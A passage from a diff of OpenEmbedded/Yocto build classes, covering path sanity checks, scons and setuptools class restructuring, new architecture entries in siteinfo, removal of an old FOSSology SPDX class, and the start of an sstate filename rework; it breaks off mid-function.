+ for checkdir in ['COREBASE', 'TMPDIR']:
+ val = d.getVar(checkdir)
+ if val.find('..') != -1:
+ status.addresult("Error, you have '..' in your %s directory path. Please ensure the variable contains an absolute path as this can break some recipe builds in obtuse ways." % checkdir)
+ if val.find('+') != -1:
+ status.addresult("Error, you have an invalid character (+) in your %s directory path. Please move the installation to a directory which doesn't include any + characters." % checkdir)
+ if val.find('@') != -1:
+ status.addresult("Error, you have an invalid character (@) in your %s directory path. Please move the installation to a directory which doesn't include any @ characters." % checkdir)
+ if val.find(' ') != -1:
+ status.addresult("Error, you have a space in your %s directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this." % checkdir)
+ if val.find('%') != -1:
+ status.addresult("Error, you have an invalid character (%) in your %s directory path which causes problems with python string formatting. Please move the installation to a directory which doesn't include any % characters." % checkdir)
# Check the format of MIRRORS, PREMIRRORS and SSTATE_MIRRORS
import re
mirror_vars = ['MIRRORS', 'PREMIRRORS', 'SSTATE_MIRRORS']
protocols = ['http', 'ftp', 'file', 'https', \
'git', 'gitsm', 'hg', 'osc', 'p4', 'svn', \
- 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3' ]
+ 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3', 'az' ]
for mirror_var in mirror_vars:
mirrors = (d.getVar(mirror_var) or '').replace('\\n', ' ').split()
@@ -926,7 +964,7 @@ def check_sanity(sanity_data):
last_tmpdir = ""
last_sstate_dir = ""
last_nativelsbstr = ""
- sanityverfile = sanity_data.expand("${TOPDIR}/conf/sanity_info")
+ sanityverfile = sanity_data.expand("${TOPDIR}/cache/sanity_info")
if os.path.exists(sanityverfile):
with open(sanityverfile, 'r') as f:
for line in f:
diff --git a/meta/classes/scons.bbclass b/meta/classes/scons.bbclass
index 6b171ca8df..80f8382107 100644
--- a/meta/classes/scons.bbclass
+++ b/meta/classes/scons.bbclass
@@ -5,10 +5,9 @@ DEPENDS += "python3-scons-native"
EXTRA_OESCONS ?= ""
do_configure() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- if [ -n "${CONFIGURESTAMPFILE}" ]; then
+ if [ -n "${CONFIGURESTAMPFILE}" -a "${S}" = "${B}" ]; then
if [ -e "${CONFIGURESTAMPFILE}" -a "`cat ${CONFIGURESTAMPFILE}`" != "${BB_TASKHASH}" -a "${CLEANBROKEN}" != "1" ]; then
- ${STAGING_BINDIR_NATIVE}/scons --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
fi
mkdir -p `dirname ${CONFIGURESTAMPFILE}`
@@ -17,14 +16,12 @@ do_configure() {
}
scons_do_compile() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- ${STAGING_BINDIR_NATIVE}/scons ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
die "scons build execution failed."
}
scons_do_install() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- ${STAGING_BINDIR_NATIVE}/scons install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
die "scons install execution failed."
}
diff --git a/meta/classes/setuptools.bbclass b/meta/classes/setuptools.bbclass
deleted file mode 100644
index a923ea3c4a..0000000000
--- a/meta/classes/setuptools.bbclass
+++ /dev/null
@@ -1,3 +0,0 @@
-inherit distutils
-
-DEPENDS += "python-setuptools-native"
diff --git a/meta/classes/setuptools3-base.bbclass b/meta/classes/setuptools3-base.bbclass
new file mode 100644
index 0000000000..15abe1dd63
--- /dev/null
+++ b/meta/classes/setuptools3-base.bbclass
@@ -0,0 +1,31 @@
+DEPENDS:append:class-target = " ${PYTHON_PN}-native ${PYTHON_PN}"
+DEPENDS:append:class-nativesdk = " ${PYTHON_PN}-native ${PYTHON_PN}"
+RDEPENDS:${PN}:append:class-target = " ${PYTHON_PN}-core"
+
+export STAGING_INCDIR
+export STAGING_LIBDIR
+
+# LDSHARED is the ld *command* used to create shared library
+export LDSHARED = "${CCLD} -shared"
+# LDXXSHARED is the ld *command* used to create shared library of C++
+# objects
+export LDCXXSHARED = "${CXX} -shared"
+# CCSHARED are the C *flags* used to create objects to go into a shared
+# library (module)
+export CCSHARED = "-fPIC -DPIC"
+# LINKFORSHARED are the flags passed to the $(CC) command that links
+# the python executable
+export LINKFORSHARED = "${SECURITY_CFLAGS} -Xlinker -export-dynamic"
+
+FILES:${PN} += "${libdir}/* ${libdir}/${PYTHON_DIR}/*"
+
+FILES:${PN}-staticdev += "\
+ ${PYTHON_SITEPACKAGES_DIR}/*.a \
+"
+FILES:${PN}-dev += "\
+ ${datadir}/pkgconfig \
+ ${libdir}/pkgconfig \
+ ${PYTHON_SITEPACKAGES_DIR}/*.la \
+"
+inherit python3native python3targetconfig
+
diff --git a/meta/classes/setuptools3.bbclass b/meta/classes/setuptools3.bbclass
index 8ca66ee708..556bc801af 100644
--- a/meta/classes/setuptools3.bbclass
+++ b/meta/classes/setuptools3.bbclass
@@ -1,4 +1,33 @@
-inherit distutils3
+inherit setuptools3-base python_pep517
-DEPENDS += "python3-setuptools-native"
+# bdist_wheel builds in ./dist
+#B = "${WORKDIR}/build"
+SETUPTOOLS_BUILD_ARGS ?= ""
+
+SETUPTOOLS_SETUP_PATH ?= "${S}"
+
+setuptools3_do_configure() {
+ :
+}
+
+setuptools3_do_compile() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ NO_FETCH_BUILD=1 \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
+ bdist_wheel --verbose --dist-dir ${PEP517_WHEEL_PATH} ${SETUPTOOLS_BUILD_ARGS} || \
+ bbfatal_log "'${PYTHON_PN} setup.py bdist_wheel ${SETUPTOOLS_BUILD_ARGS}' execution failed."
+}
+setuptools3_do_compile[vardepsexclude] = "MACHINE"
+do_compile[cleandirs] += "${PEP517_WHEEL_PATH}"
+
+setuptools3_do_install() {
+ python_pep517_do_install
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
+
+export LDSHARED="${CCLD} -shared"
+DEPENDS += "python3-setuptools-native python3-wheel-native"
diff --git a/meta/classes/setuptools3_legacy.bbclass b/meta/classes/setuptools3_legacy.bbclass
new file mode 100644
index 0000000000..5a99daadb5
--- /dev/null
+++ b/meta/classes/setuptools3_legacy.bbclass
@@ -0,0 +1,78 @@
+# This class is for packages which use the deprecated setuptools behaviour,
+# specifically custom install tasks which don't work correctly with bdist_wheel.
+# This behaviour is deprecated in setuptools[1] and won't work in the future, so
+# all users of this should consider their options: pure Python modules can use a
+# modern Python tool such as build[2], or packages which are doing more (such as
+# installing init scripts) should use a fully-featured build system such as Meson.
+#
+# [1] https://setuptools.pypa.io/en/latest/history.html#id142
+# [2] https://pypi.org/project/build/
+
+inherit setuptools3-base
+
+B = "${WORKDIR}/build"
+
+SETUPTOOLS_BUILD_ARGS ?= ""
+SETUPTOOLS_INSTALL_ARGS ?= "--root=${D} \
+ --prefix=${prefix} \
+ --install-lib=${PYTHON_SITEPACKAGES_DIR} \
+ --install-data=${datadir}"
+
+SETUPTOOLS_PYTHON = "python3"
+SETUPTOOLS_PYTHON:class-native = "nativepython3"
+
+SETUPTOOLS_SETUP_PATH ?= "${S}"
+
+setuptools3_legacy_do_configure() {
+ :
+}
+
+setuptools3_legacy_do_compile() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ NO_FETCH_BUILD=1 \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
+ build --build-base=${B} ${SETUPTOOLS_BUILD_ARGS} || \
+ bbfatal_log "'${PYTHON_PN} setup.py build ${SETUPTOOLS_BUILD_ARGS}' execution failed."
+}
+setuptools3_legacy_do_compile[vardepsexclude] = "MACHINE"
+
+setuptools3_legacy_do_install() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ install -d ${D}${PYTHON_SITEPACKAGES_DIR}
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR} \
+ ${STAGING_BINDIR_NATIVE}/${PYTHON_PN}-native/${PYTHON_PN} setup.py \
+ build --build-base=${B} install --skip-build ${SETUPTOOLS_INSTALL_ARGS} || \
+ bbfatal_log "'${PYTHON_PN} setup.py install ${SETUPTOOLS_INSTALL_ARGS}' execution failed."
+
+ # support filenames with *spaces*
+ find ${D} -name "*.py" -exec grep -q ${D} {} \; \
+ -exec sed -i -e s:${D}::g {} \;
+
+ for i in ${D}${bindir}/* ${D}${sbindir}/*; do
+ if [ -f "$i" ]; then
+ sed -i -e s:${PYTHON}:${USRBINPATH}/env\ ${SETUPTOOLS_PYTHON}:g $i
+ sed -i -e s:${STAGING_BINDIR_NATIVE}:${bindir}:g $i
+ fi
+ done
+
+ rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/easy-install.pth
+
+ #
+ # FIXME: Bandaid against wrong datadir computation
+ #
+ if [ -e ${D}${datadir}/share ]; then
+ mv -f ${D}${datadir}/share/* ${D}${datadir}/
+ rmdir ${D}${datadir}/share
+ fi
+}
+setuptools3_legacy_do_install[vardepsexclude] = "MACHINE"
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
+
+export LDSHARED="${CCLD} -shared"
+DEPENDS += "python3-setuptools-native"
+
diff --git a/meta/classes/setuptools_build_meta.bbclass b/meta/classes/setuptools_build_meta.bbclass
new file mode 100644
index 0000000000..b2bba35a0b
--- /dev/null
+++ b/meta/classes/setuptools_build_meta.bbclass
@@ -0,0 +1,5 @@
+inherit setuptools3-base python_pep517
+
+DEPENDS += "python3-setuptools-native python3-wheel-native"
+
+PEP517_BUILD_API = "setuptools.build_meta"
diff --git a/meta/classes/sign_package_feed.bbclass b/meta/classes/sign_package_feed.bbclass
index 7ff3a35a2f..16bcd147aa 100644
--- a/meta/classes/sign_package_feed.bbclass
+++ b/meta/classes/sign_package_feed.bbclass
@@ -29,7 +29,7 @@ PACKAGE_FEED_GPG_BACKEND ?= 'local'
PACKAGE_FEED_GPG_SIGNATURE_TYPE ?= 'ASC'
# Make feed signing key to be present in rootfs
-FEATURE_PACKAGES_package-management_append = " signing-keys-packagefeed"
+FEATURE_PACKAGES_package-management:append = " signing-keys-packagefeed"
python () {
# Check sanity of configuration
diff --git a/meta/classes/sign_rpm.bbclass b/meta/classes/sign_rpm.bbclass
index 64ae7ce30e..73a55a512d 100644
--- a/meta/classes/sign_rpm.bbclass
+++ b/meta/classes/sign_rpm.bbclass
@@ -64,6 +64,7 @@ python sign_rpm () {
d.getVar('RPM_FSK_PATH'),
d.getVar('RPM_FSK_PASSWORD'))
}
+sign_rpm[vardepsexclude] += "RPM_GPG_SIGN_CHUNK"
do_package_index[depends] += "signing-keys:do_deploy"
do_rootfs[depends] += "signing-keys:do_populate_sysroot"
diff --git a/meta/classes/siteinfo.bbclass b/meta/classes/siteinfo.bbclass
index 411e70478e..3555d5a663 100644
--- a/meta/classes/siteinfo.bbclass
+++ b/meta/classes/siteinfo.bbclass
@@ -35,7 +35,6 @@ def siteinfo_data_for_machine(arch, os, d):
"lm32": "endian-big bit-32",
"m68k": "endian-big bit-32",
"microblaze": "endian-big bit-32 microblaze-common",
- "microblazeeb": "endian-big bit-32 microblaze-common",
"microblazeel": "endian-little bit-32 microblaze-common",
"mips": "endian-big bit-32 mips-common",
"mips64": "endian-big bit-64 mips-common",
@@ -46,15 +45,19 @@ def siteinfo_data_for_machine(arch, os, d):
"mipsisa32r6": "endian-big bit-32 mips-common",
"mipsisa32r6el": "endian-little bit-32 mips-common",
"powerpc": "endian-big bit-32 powerpc-common",
+ "powerpcle": "endian-little bit-32 powerpc-common",
"nios2": "endian-little bit-32 nios2-common",
"powerpc64": "endian-big bit-64 powerpc-common",
+ "powerpc64le": "endian-little bit-64 powerpc-common",
"ppc": "endian-big bit-32 powerpc-common",
"ppc64": "endian-big bit-64 powerpc-common",
"ppc64le" : "endian-little bit-64 powerpc-common",
"riscv32": "endian-little bit-32 riscv-common",
"riscv64": "endian-little bit-64 riscv-common",
"sh3": "endian-little bit-32 sh-common",
+ "sh3eb": "endian-big bit-32 sh-common",
"sh4": "endian-little bit-32 sh-common",
+ "sh4eb": "endian-big bit-32 sh-common",
"sparc": "endian-big bit-32",
"viac3": "endian-little bit-32 ix86-common",
"x86_64": "endian-little", # bitinfo specified in targetinfo
@@ -88,8 +91,6 @@ def siteinfo_data_for_machine(arch, os, d):
"arm-linux-musleabi": "arm-linux",
"armeb-linux-gnueabi": "armeb-linux",
"armeb-linux-musleabi": "armeb-linux",
- "microblazeeb-linux" : "microblaze-linux",
- "microblazeeb-linux-musl" : "microblaze-linux",
"microblazeel-linux" : "microblaze-linux",
"microblazeel-linux-musl" : "microblaze-linux",
"mips-linux-musl": "mips-linux",
@@ -100,14 +101,18 @@ def siteinfo_data_for_machine(arch, os, d):
"mips64el-linux-gnun32": "mipsel-linux bit-32",
"mipsisa64r6-linux-gnun32": "mipsisa32r6-linux bit-32",
"mipsisa64r6el-linux-gnun32": "mipsisa32r6el-linux bit-32",
- "powerpc-linux": "powerpc32-linux",
- "powerpc-linux-musl": "powerpc-linux powerpc32-linux",
- "powerpc-linux-gnuspe": "powerpc-linux powerpc32-linux",
- "powerpc-linux-muslspe": "powerpc-linux powerpc32-linux",
- "powerpc64-linux-gnuspe": "powerpc-linux powerpc64-linux",
- "powerpc64-linux-muslspe": "powerpc-linux powerpc64-linux",
- "powerpc64-linux": "powerpc-linux",
- "powerpc64-linux-musl": "powerpc-linux",
+ "powerpc-linux": "powerpc32-linux powerpc32-linux-glibc",
+ "powerpc-linux-musl": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpcle-linux": "powerpc32-linux powerpc32-linux-glibc",
+ "powerpcle-linux-musl": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpc-linux-gnuspe": "powerpc-linux powerpc32-linux powerpc32-linux-glibc",
+ "powerpc-linux-muslspe": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpc64-linux-gnuspe": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64-linux-muslspe": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
+ "powerpc64-linux": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64-linux-musl": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
+ "powerpc64le-linux": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64le-linux-musl": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
"riscv32-linux": "riscv32-linux",
"riscv32-linux-musl": "riscv32-linux",
"riscv64-linux": "riscv64-linux",
@@ -171,17 +176,39 @@ python () {
bb.fatal("Please add your architecture to siteinfo.bbclass")
}
-def siteinfo_get_files(d, sysrootcache = False):
+# Layers with siteconfig need to add a replacement path to this variable so the
+# sstate isn't path specific
+SITEINFO_PATHVARS = "COREBASE"
+
+def siteinfo_get_files(d, sysrootcache=False):
sitedata = siteinfo_data(d)
- sitefiles = ""
+ sitefiles = []
+ searched = []
for path in d.getVar("BBPATH").split(":"):
for element in sitedata:
filename = os.path.join(path, "site", element)
if os.path.exists(filename):
- sitefiles += filename + " "
+ searched.append(filename + ":True")
+ sitefiles.append(filename)
+ else:
+ searched.append(filename + ":False")
+
+ # Have to parameterise out hardcoded paths such as COREBASE for the main site files
+ for var in d.getVar("SITEINFO_PATHVARS").split():
+ searched2 = []
+ replace = os.path.normpath(d.getVar(var))
+ for s in searched:
+ searched2.append(s.replace(replace, "${" + var + "}"))
+ searched = searched2
+
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
+ # We need sstate sigs for native/cross not to vary upon arch so we can't depend on the site files.
+ # In future we may want to depend upon all site files?
+ # This would show up as breaking sstatetests.SStateTests.test_sstate_32_64_same_hash for example
+ searched = []
if not sysrootcache:
- return sitefiles
+ return sitefiles, searched
# Now check for siteconfig cache files in sysroots
path_siteconfig = d.getVar('SITECONFIG_SYSROOTCACHE')
@@ -190,8 +217,8 @@ def siteinfo_get_files(d, sysrootcache = False):
if not i.endswith("_config"):
continue
filename = os.path.join(path_siteconfig, i)
- sitefiles += filename + " "
- return sitefiles
+ sitefiles.append(filename)
+ return sitefiles, searched
#
# Make some information available via variables
diff --git a/meta/classes/spdx.bbclass b/meta/classes/spdx.bbclass
deleted file mode 100644
index fb78e274a8..0000000000
--- a/meta/classes/spdx.bbclass
+++ /dev/null
@@ -1,360 +0,0 @@
-# This class integrates real-time license scanning, generation of SPDX standard
-# output and verifiying license info during the building process.
-# It is a combination of efforts from the OE-Core, SPDX and Fossology projects.
-#
-# For more information on FOSSology:
-# http://www.fossology.org
-#
-# For more information on FOSSologySPDX commandline:
-# https://github.com/spdx-tools/fossology-spdx/wiki/Fossology-SPDX-Web-API
-#
-# For more information on SPDX:
-# http://www.spdx.org
-#
-
-# SPDX file will be output to the path which is defined as[SPDX_MANIFEST_DIR]
-# in ./meta/conf/licenses.conf.
-
-SPDXSSTATEDIR = "${WORKDIR}/spdx_sstate_dir"
-
-# If ${S} isn't actually the top-level source directory, set SPDX_S to point at
-# the real top-level directory.
-SPDX_S ?= "${S}"
-
-python do_spdx () {
- import os, sys
- import json, shutil
-
- info = {}
- info['workdir'] = d.getVar('WORKDIR')
- info['sourcedir'] = d.getVar('SPDX_S')
- info['pn'] = d.getVar('PN')
- info['pv'] = d.getVar('PV')
- info['spdx_version'] = d.getVar('SPDX_VERSION')
- info['data_license'] = d.getVar('DATA_LICENSE')
-
- sstatedir = d.getVar('SPDXSSTATEDIR')
- sstatefile = os.path.join(sstatedir, info['pn'] + info['pv'] + ".spdx")
-
- manifest_dir = d.getVar('SPDX_MANIFEST_DIR')
- info['outfile'] = os.path.join(manifest_dir, info['pn'] + ".spdx" )
-
- info['spdx_temp_dir'] = d.getVar('SPDX_TEMP_DIR')
- info['tar_file'] = os.path.join(info['workdir'], info['pn'] + ".tar.gz" )
-
- # Make sure important dirs exist
- try:
- bb.utils.mkdirhier(manifest_dir)
- bb.utils.mkdirhier(sstatedir)
- bb.utils.mkdirhier(info['spdx_temp_dir'])
- except OSError as e:
- bb.error("SPDX: Could not set up required directories: " + str(e))
- return
-
- ## get everything from cache. use it to decide if
- ## something needs to be rerun
- cur_ver_code = get_ver_code(info['sourcedir'])
- cache_cur = False
- if os.path.exists(sstatefile):
- ## cache for this package exists. read it in
- cached_spdx = get_cached_spdx(sstatefile)
-
- if cached_spdx['PackageVerificationCode'] == cur_ver_code:
- bb.warn("SPDX: Verification code for " + info['pn']
- + "is same as cache's. do nothing")
- cache_cur = True
- else:
- local_file_info = setup_foss_scan(info, True, cached_spdx['Files'])
- else:
- local_file_info = setup_foss_scan(info, False, None)
-
- if cache_cur:
- spdx_file_info = cached_spdx['Files']
- foss_package_info = cached_spdx['Package']
- foss_license_info = cached_spdx['Licenses']
- else:
- ## setup fossology command
- foss_server = d.getVar('FOSS_SERVER')
- foss_flags = d.getVar('FOSS_WGET_FLAGS')
- foss_full_spdx = d.getVar('FOSS_FULL_SPDX') == "true" or False
- foss_command = "wget %s --post-file=%s %s"\
- % (foss_flags, info['tar_file'], foss_server)
-
- foss_result = run_fossology(foss_command, foss_full_spdx)
- if foss_result is not None:
- (foss_package_info, foss_file_info, foss_license_info) = foss_result
- spdx_file_info = create_spdx_doc(local_file_info, foss_file_info)
- ## write to cache
- write_cached_spdx(sstatefile, cur_ver_code, foss_package_info,
- spdx_file_info, foss_license_info)
- else:
- bb.error("SPDX: Could not communicate with FOSSology server. Command was: " + foss_command)
- return
-
- ## Get document and package level information
- spdx_header_info = get_header_info(info, cur_ver_code, foss_package_info)
-
- ## CREATE MANIFEST
- create_manifest(info, spdx_header_info, spdx_file_info, foss_license_info)
-
- ## clean up the temp stuff
- shutil.rmtree(info['spdx_temp_dir'], ignore_errors=True)
- if os.path.exists(info['tar_file']):
- remove_file(info['tar_file'])
-}
-addtask spdx after do_patch before do_configure
-
-def create_manifest(info, header, files, licenses):
- import codecs
- with codecs.open(info['outfile'], mode='w', encoding='utf-8') as f:
- # Write header
- f.write(header + '\n')
-
- # Write file data
- for chksum, block in files.iteritems():
- f.write("FileName: " + block['FileName'] + '\n')
- for key, value in block.iteritems():
- if not key == 'FileName':
- f.write(key + ": " + value + '\n')
- f.write('\n')
-
- # Write license data
- for id, block in licenses.iteritems():
- f.write("LicenseID: " + id + '\n')
- for key, value in block.iteritems():
- f.write(key + ": " + value + '\n')
- f.write('\n')
-
-def get_cached_spdx(sstatefile):
- import json
- import codecs
- cached_spdx_info = {}
- with codecs.open(sstatefile, mode='r', encoding='utf-8') as f:
- try:
- cached_spdx_info = json.load(f)
- except ValueError as e:
- cached_spdx_info = None
- return cached_spdx_info
-
-def write_cached_spdx(sstatefile, ver_code, package_info, files, license_info):
- import json
- import codecs
- spdx_doc = {}
- spdx_doc['PackageVerificationCode'] = ver_code
- spdx_doc['Files'] = {}
- spdx_doc['Files'] = files
- spdx_doc['Package'] = {}
- spdx_doc['Package'] = package_info
- spdx_doc['Licenses'] = {}
- spdx_doc['Licenses'] = license_info
- with codecs.open(sstatefile, mode='w', encoding='utf-8') as f:
- f.write(json.dumps(spdx_doc))
-
-def setup_foss_scan(info, cache, cached_files):
- import errno, shutil
- import tarfile
- file_info = {}
- cache_dict = {}
-
- for f_dir, f in list_files(info['sourcedir']):
- full_path = os.path.join(f_dir, f)
- abs_path = os.path.join(info['sourcedir'], full_path)
- dest_dir = os.path.join(info['spdx_temp_dir'], f_dir)
- dest_path = os.path.join(info['spdx_temp_dir'], full_path)
-
- checksum = hash_file(abs_path)
- if not checksum is None:
- file_info[checksum] = {}
- ## retain cache information if it exists
- if cache and checksum in cached_files:
- file_info[checksum] = cached_files[checksum]
- ## have the file included in what's sent to the FOSSology server
- else:
- file_info[checksum]['FileName'] = full_path
- try:
- bb.utils.mkdirhier(dest_dir)
- shutil.copyfile(abs_path, dest_path)
- except OSError as e:
- bb.warn("SPDX: mkdirhier failed: " + str(e))
- except shutil.Error as e:
- bb.warn("SPDX: copyfile failed: " + str(e))
- except IOError as e:
- bb.warn("SPDX: copyfile failed: " + str(e))
- else:
- bb.warn("SPDX: Could not get checksum for file: " + f)
-
- with tarfile.open(info['tar_file'], "w:gz") as tar:
- tar.add(info['spdx_temp_dir'], arcname=os.path.basename(info['spdx_temp_dir']))
-
- return file_info
-
-def remove_file(file_name):
- try:
- os.remove(file_name)
- except OSError as e:
- pass
-
-def list_files(dir):
- for root, subFolders, files in os.walk(dir):
- for f in files:
- rel_root = os.path.relpath(root, dir)
- yield rel_root, f
- return
-
-def hash_file(file_name):
- from bb.utils import sha1_file
- return sha1_file(file_name)
-
-def hash_string(data):
- import hashlib
- sha1 = hashlib.sha1()
- sha1.update(data.encode('utf-8'))
- return sha1.hexdigest()
-
-def run_fossology(foss_command, full_spdx):
- import string, re
- import subprocess
-
- try:
- foss_output = subprocess.check_output(foss_command.split(),
- stderr=subprocess.STDOUT).decode('utf-8')
- except subprocess.CalledProcessError as e:
- return None
-
- foss_output = foss_output.replace('\r', '')
-
- # Package info
- package_info = {}
- if full_spdx:
- # All mandatory, only one occurrence
- package_info['PackageCopyrightText'] = re.findall('PackageCopyrightText: (.*?</text>)', foss_output, re.S)[0]
- package_info['PackageLicenseDeclared'] = re.findall('PackageLicenseDeclared: (.*)', foss_output)[0]
- package_info['PackageLicenseConcluded'] = re.findall('PackageLicenseConcluded: (.*)', foss_output)[0]
- # These may be more than one
- package_info['PackageLicenseInfoFromFiles'] = re.findall('PackageLicenseInfoFromFiles: (.*)', foss_output)
- else:
- DEFAULT = "NOASSERTION"
- package_info['PackageCopyrightText'] = "<text>" + DEFAULT + "</text>"
- package_info['PackageLicenseDeclared'] = DEFAULT
- package_info['PackageLicenseConcluded'] = DEFAULT
- package_info['PackageLicenseInfoFromFiles'] = []
-
- # File info
- file_info = {}
- records = []
- # FileName is also in PackageFileName, so we match on FileType as well.
- records = re.findall('FileName:.*?FileType:.*?</text>', foss_output, re.S)
- for rec in records:
- chksum = re.findall('FileChecksum: SHA1: (.*)\n', rec)[0]
- file_info[chksum] = {}
- file_info[chksum]['FileCopyrightText'] = re.findall('FileCopyrightText: '
- + '(.*?</text>)', rec, re.S )[0]
- fields = ['FileName', 'FileType', 'LicenseConcluded', 'LicenseInfoInFile']
- for field in fields:
- file_info[chksum][field] = re.findall(field + ': (.*)', rec)[0]
-
- # Licenses
- license_info = {}
- licenses = []
- licenses = re.findall('LicenseID:.*?LicenseName:.*?\n', foss_output, re.S)
- for lic in licenses:
- license_id = re.findall('LicenseID: (.*)\n', lic)[0]
- license_info[license_id] = {}
- license_info[license_id]['ExtractedText'] = re.findall('ExtractedText: (.*?</text>)', lic, re.S)[0]
- license_info[license_id]['LicenseName'] = re.findall('LicenseName: (.*)', lic)[0]
-
- return (package_info, file_info, license_info)
-
-def create_spdx_doc(file_info, scanned_files):
- import json
- ## push foss changes back into cache
- for chksum, lic_info in scanned_files.iteritems():
- if chksum in file_info:
- file_info[chksum]['FileType'] = lic_info['FileType']
- file_info[chksum]['FileChecksum: SHA1'] = chksum
- file_info[chksum]['LicenseInfoInFile'] = lic_info['LicenseInfoInFile']
- file_info[chksum]['LicenseConcluded'] = lic_info['LicenseConcluded']
- file_info[chksum]['FileCopyrightText'] = lic_info['FileCopyrightText']
- else:
- bb.warn("SPDX: " + lic_info['FileName'] + " : " + chksum
- + " : is not in the local file info: "
- + json.dumps(lic_info, indent=1))
- return file_info
-
-def get_ver_code(dirname):
- chksums = []
- for f_dir, f in list_files(dirname):
- path = os.path.join(dirname, f_dir, f)
- hash = hash_file(path)
- if not hash is None:
- chksums.append(hash)
- else:
- bb.warn("SPDX: Could not hash file: " + path)
- ver_code_string = ''.join(chksums).lower()
- ver_code = hash_string(ver_code_string)
- return ver_code
-
-def get_header_info(info, spdx_verification_code, package_info):
- """
- Put together the header SPDX information.
- Eventually this needs to become a lot less
- of a hardcoded thing.
- """
- from datetime import datetime
- import os
- head = []
- DEFAULT = "NOASSERTION"
-
- package_checksum = hash_file(info['tar_file'])
- if package_checksum is None:
- package_checksum = DEFAULT
-
- ## document level information
- head.append("## SPDX Document Information")
- head.append("SPDXVersion: " + info['spdx_version'])
- head.append("DataLicense: " + info['data_license'])
- head.append("DocumentComment: <text>SPDX for "
- + info['pn'] + " version " + info['pv'] + "</text>")
- head.append("")
-
- ## Creator information
- ## Note that this does not give time in UTC.
- now = datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')
- head.append("## Creation Information")
- ## Tools are supposed to have a version, but FOSSology+SPDX provides none.
- head.append("Creator: Tool: FOSSology+SPDX")
- head.append("Created: " + now)
- head.append("CreatorComment: <text>UNO</text>")
- head.append("")
-
- ## package level information
- head.append("## Package Information")
- head.append("PackageName: " + info['pn'])
- head.append("PackageVersion: " + info['pv'])
- head.append("PackageFileName: " + os.path.basename(info['tar_file']))
- head.append("PackageSupplier: Person:" + DEFAULT)
- head.append("PackageDownloadLocation: " + DEFAULT)
- head.append("PackageSummary: <text></text>")
- head.append("PackageOriginator: Person:" + DEFAULT)
- head.append("PackageChecksum: SHA1: " + package_checksum)
- head.append("PackageVerificationCode: " + spdx_verification_code)
- head.append("PackageDescription: <text>" + info['pn']
- + " version " + info['pv'] + "</text>")
- head.append("")
- head.append("PackageCopyrightText: "
- + package_info['PackageCopyrightText'])
- head.append("")
- head.append("PackageLicenseDeclared: "
- + package_info['PackageLicenseDeclared'])
- head.append("PackageLicenseConcluded: "
- + package_info['PackageLicenseConcluded'])
-
- for licref in package_info['PackageLicenseInfoFromFiles']:
- head.append("PackageLicenseInfoFromFiles: " + licref)
- head.append("")
-
- ## header for file level
- head.append("## File Information")
- head.append("")
-
- return '\n'.join(head)
diff --git a/meta/classes/sstate.bbclass b/meta/classes/sstate.bbclass
index 64808f8e10..1c0cae4893 100644
--- a/meta/classes/sstate.bbclass
+++ b/meta/classes/sstate.bbclass
@@ -1,21 +1,45 @@
-SSTATE_VERSION = "3"
+SSTATE_VERSION = "8"
+
+SSTATE_ZSTD_CLEVEL ??= "8"
SSTATE_MANIFESTS ?= "${TMPDIR}/sstate-control"
SSTATE_MANFILEPREFIX = "${SSTATE_MANIFESTS}/manifest-${SSTATE_MANMACH}-${PN}"
-def generate_sstatefn(spec, hash, d):
+def generate_sstatefn(spec, hash, taskname, siginfo, d):
+ if taskname is None:
+ return ""
+ extension = ".tar.zst"
+ # 8 chars reserved for siginfo
+ limit = 254 - 8
+ if siginfo:
+ limit = 254
+ extension = ".tar.zst.siginfo"
if not hash:
hash = "INVALID"
- return hash[:2] + "/" + spec + hash
+ fn = spec + hash + "_" + taskname + extension
+ # If the filename is too long, attempt to reduce it
+ if len(fn) > limit:
+ components = spec.split(":")
+ # Fields 0,5,6 are mandatory, 1 is most useful, 2,3,4 are just for information
+ # 7 is for the separators
